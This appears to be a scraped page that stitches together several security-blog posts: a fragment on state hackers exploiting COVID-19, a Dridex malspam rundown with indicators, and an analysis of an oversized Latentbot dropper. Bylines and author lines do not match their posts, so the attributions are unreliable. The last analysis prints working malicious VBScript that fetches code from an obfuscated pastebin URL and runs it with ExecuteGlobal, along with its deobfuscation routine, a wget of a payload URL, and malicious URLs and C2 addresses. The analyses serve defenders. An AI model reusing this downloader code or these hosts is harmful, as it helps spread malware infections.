Some well known net exporters of sophisticated cyberattacks, like China, are busy trying to restart their economies, and no doubt looking at the interesting opportunities that COVID-19 presents for ticking items off their intelligence collection shopping lists. Other belligerents like Russia, while busy-denying-COVID-19-is-a-thing-domestically will almost certainly go after their usual list of geopolitical targets with renewed vigor.
Many juicy prizes are at their most organizationally vulnerable right now. Plenty of threat actors can’t wait to pick their digital pocket. Meanwhile, the juiciest part of [insert your workplace here] is now vulnerable in new ways that none of us are completely familiar with.

Special Note: Are Governments Immune?
Nope. They are among the juiciest of targets. 80 year old judges deliberating over billion dollar cases in sweatpants. Quarantined legislators in their home dens brainstorming with colleagues about China.
Militaries trying to do command-and-control over WhatsApp because having everyone in one bunker is a recipe for disaster. Even as they seek extensive new authorities over civilian populations, governments have never been more within the reach of all the wrong people.

Reach John via Twitter.

Until next time: Russ McRee | @holisticinfosec

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Introduction

This week, I've seen a lot of malicious spam (malspam) pushing Dridex malware.  Today's diary, provides a quick rundown on the types of malspam I've seen, and it also covers what an infected Windows host looks like.

The malspam

I've seen at least 3 different themes used during the first two days of this week from malspam pushing Dridex.  One was a voicemail-themed email.  Another used a DHL them.  Finally, I saw a FedEx-themed email pushing Dridex.  See the images below for examples.

Shown above:  Malspam using a voicemail theme to push Dridex.

Shown above:  Malspam using a DHL them to push Dridex.

Shown above:  Malspam using a FedEx theme to push Dridex.

An infected Windows host

I infected a lab host using a URL from one of the emails shown above.  See images below for details.

Shown above:  Clicking on the link in the Fedex email.

Shown above:  Extracting a VBS file from the downloaded zip archive.

Shown above:  Running the VBS file drops the initial DLL for Dridex.

Shown above:  Dridex persistence mechanism 1 of 3--a scheduled task.

Shown above:  Dridex persistence mechanism 2 of 3--a regisrty update.

Shown above:  Dridex persistence mechanism 2 of 3--a shorVcut in the Windows startup menu.

Indicators

URLs from the three email examples:

• hxxp://bienvenidosnewyork[.]com/app.php
• hxxp://photoflip[.]co[.]in/lndex.php
• hxxp://everestedu[.]org/lndex.php

Zip archive downloaded from link in one of the malspam:

• SHA256 hash: fc3da99b3bfd3fee81361dd0795e24f24a6b1362629ddc2e98b7d1490b0b4598
• File name: XLS_479818342326.zip

VBS file extracted from the above zip archive:

• SHA256 hash: cc1b8318bd30fa4f03e333ad34ae153ef3b5e42cbce95299d566ad755391313f
• File name: XLS_479818342326.vbs

Initial Dridex DLL seen after running VBS file:

• SHA256 hash: abf99a028dae6812f6f0ca633d7424ce9272dfcfbebf6b518c1e6c97f872f3e7
• File location: C:\ProgramData\qPryTEyLr.dll

File hashes for Dridex DLLs made persistent during the infection:

• SHA256 hash: 6712500bb0de148a99ec940160d3d61850e2ce3803adca8f39e9fa8621b8ea6f
• File name: DUI70.dll

• SHA256 hash: 86bcfce2dd342e9a1c04cfc65731d40ed1c397a4ec47bd9f5b41771297d81100
• File name: UxTheme.dll

• SHA256 hash: 005e77a55b8f1bf4049d6231c2349a01d019b46f47b6930103458a2aadd1bfa6
• File name: dxgi.dll

Final notes

Of note, zip archives from links in the emails appeared to be different names/sizes/hashes each time I downloaded one, even if it was from the same link.  Also, when a Dridex-infected Windows host is rebooted, the locations, names, and file hashes of the persistent Dridex DLL files are changed.

Dridex remains a feature of our threat landscape, and it will likely continue to be, at least in the foreseeable future.  Windows 10 hosts that are fully patched and up-to-date have a very low risk of getting infected from Dridex, so it pays to follow best security practices.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Security controls have a major requirement: they can't (or at least they try to not) interfere with normal operations of the protected system. It is known that antivirus products do not scan very large files (or just the first x bytes) for performance reasons. Can we consider a very big file as a technique to bypass security controls? Yesterday, while hunting, I spotted a very interesting malware sample. The malicious PE file was delivered via multiple stages but the final dropped file was large... very large!

It started with a classic phishing email containing a shortened URL:

hxxp://bit[.]ly/2WFm2wY

(Tip: Not many people are aware that if you add a ‘+’ sign at the end of a bit.ly URL, you won’t be redirected automatically to the real URL but a page with the link will be returned instead. This can help you to decide if the shortened URL is malicious or not.)

This URL redirected to a second shortener service:

hxxps://rebrand[.]ly/9zcj74uFAT039

Finally, the real URL was visited:

hxxps://cld[.]pt/dl/download/6812fec0-88b6-4e41-9eb1-e5cb06be83e0/sapotransfer-5a1a0746e3e7ePG/ER-3939874-FT.zip?download=true

The ZIP archive (SHA256:7dc6b78fac829e25232fa5fa885464d25bdef45fa577d10f3e73fe393e1c2c19) contains a VBScript file ‘ER-3939874-FT.vbs’ (SHA256:494b9fc1957434ac5626d5fa17189db09f1acea00c856caf107d7bb22fde5ec5)

A quick analyzis reveals that the code is very simple:

It downloads another piece of code from an URL:

Set Dnlakdnsks = CreateObject("Msxml2.XMLHttp.6.0")
Dnlakdnsks.open "GET", Cfgghhhh("_kkgj1&&gXjk\Y`e%Zfd&iXn&>D)/_E?Y"), False
Dnlakdnsks.send

And executes it:

Function DJierorpoop(WWWWWw)
  ExecuteGlobal WWWWWw
End Function
DJierorpoop Dnlakdnsks.responseText

The URL ('_kkgj1&&gXjk\Y`e%Zfd&iXn&>D)/_E?Y') is deobfuscated via the following function:

Function Cfgghhhh(G1g)
  For DnnKS = 1 To Len(G1g)
    MDNSLS = Mid(G1g, DnnKS, 1)
    MDNSLS = Chr(Asc(MDNSLS)+ 9)
    SSXSLDKSNS = SSXSLDKSNS + MDNSLS
  Next
  Cfgghhhh = SSXSLDKSNS
End Function

We can simulate it in Python. The string is parsed character by characters, converted to their ASCII value and shifted by 9 positions:

>>> str='_kkgj1&&gXjk\Y`e%Zfd&iXn&>D)/_E?Y'
>>> out=''
>>> for c in str:
...     out = out + chr(ord(c)+9)
...
>>> out
'hxxps://pastebin[.]com/raw/GM28hNHb'

This pastie contains more VBScript code and, once executed, it performs the following actions:

It downloads the next stage from the Internet. The URL is encoded using the same technique (see above) but the characters are shifted by 10 instead of 9. The deobfuscated URL is:

hxxp://160[.]20[.]147[.]130:1948/DNsikidstrou9095.iso

The .iso file is a big chunk of Base64 encoded data. Once decoded, we have a ZIP archive:

remnux@remnux:/malwarezoo$ wget hxxp://160[.]20[.]147[.]130:1948/DNsikidstrou9095.iso
remnux@remnux:/malwarezoo$ base64 -d DNsikidstrou9095.iso | file -
/dev/stdin: Zip archive data, at least v2.0 to extract
remnux@remnux:/malwarezoo$ base64 -d DNsikidstrou9095.iso >DNsikidstrou9095.iso.zip
remnux@remnux:/malwarezoo$ unzip DNsikidstrou9095.iso.zip
Archive:  DNsikidstrou9095.iso.zip
  inflating: DNsikidstrou9095.exe

The PE file (SHA256:a5d786ee432dd486d6773621301997c3143dc47a8525c683ff6281990ff9d14d) is very large:

remnux@remnux:/malwarezoo$ $ ls -lh DNsikidstrou9095.exe
-rw-r--r-- 1 remnux remnux 321M Mar 25 08:20 DNsikidstrou9095.exe

321MB is really big! This trick is very easy to bypass many security controls.  

Often, such files are padded with zeroes to make them bigger but it was not the case this time. Let’s inspect the PE file with PEStudio[1]. The PE file format is quite complex[2] and contains ‘sections’. Sections are ‘areas’ in the file that store different types of data:

.text : contains executable code
.data: contains ‘data’ used by the program

An interesting one is '.rsrc' which contains the ‘resources’. As you can see, this section takes more than 97% of the complete file size:

Resources can be any type of data embedded in the application. Common data are icons, cursors, images, etc.
In our malicious PE, we see three big resources:
 

PEStudio can dump resources to disk. Let’s dump them and see what we have:

remnux@remnux:/malwarezoo$ file  DNsikidstrou9095.*.bmp
DNsikidstrou9095.exe.0.bmp: PC bitmap, Windows 3.x format, 9161 x 7054 x 24
DNsikidstrou9095.exe.1.bmp: PC bitmap, Windows 3.x format, 4267 x 5293 x 24
DNsikidstrou9095.exe.2.bmp: PC bitmap, Windows 3.x format, 4414 x 4959 x 24

Files look very similar:

It does not seem to be computer-generated. I tried to find hidden data in the file, but they look ‘clean’.
The next question is: “Are these sections used by the program?”

They are many tools to play with resources but I like ResourceTuner[3]. The tool is not free but is available in demo mode for 30 days, more than enough to play with it from time to time. The tool allows you to browse resources embedded in a PE file but also to remove them:

The newly generated file has now a size of (only) 8371200 bytes (SHA256:d8d3665affc98cba7942674a51713878b903f8c19034075eb469c3ace3d6aeb6)

Let’s try to execute it again in a sandbox… Great, it worked perfectly!

It’s a variant of the Latentbot[4] that communicates with a C2 @ %%ip:18.231.122.158%%.

[1] https://www.winitor.com
[2] https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
[3] http://www.heaventools.com/resource-tuner.htm?
[4] https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key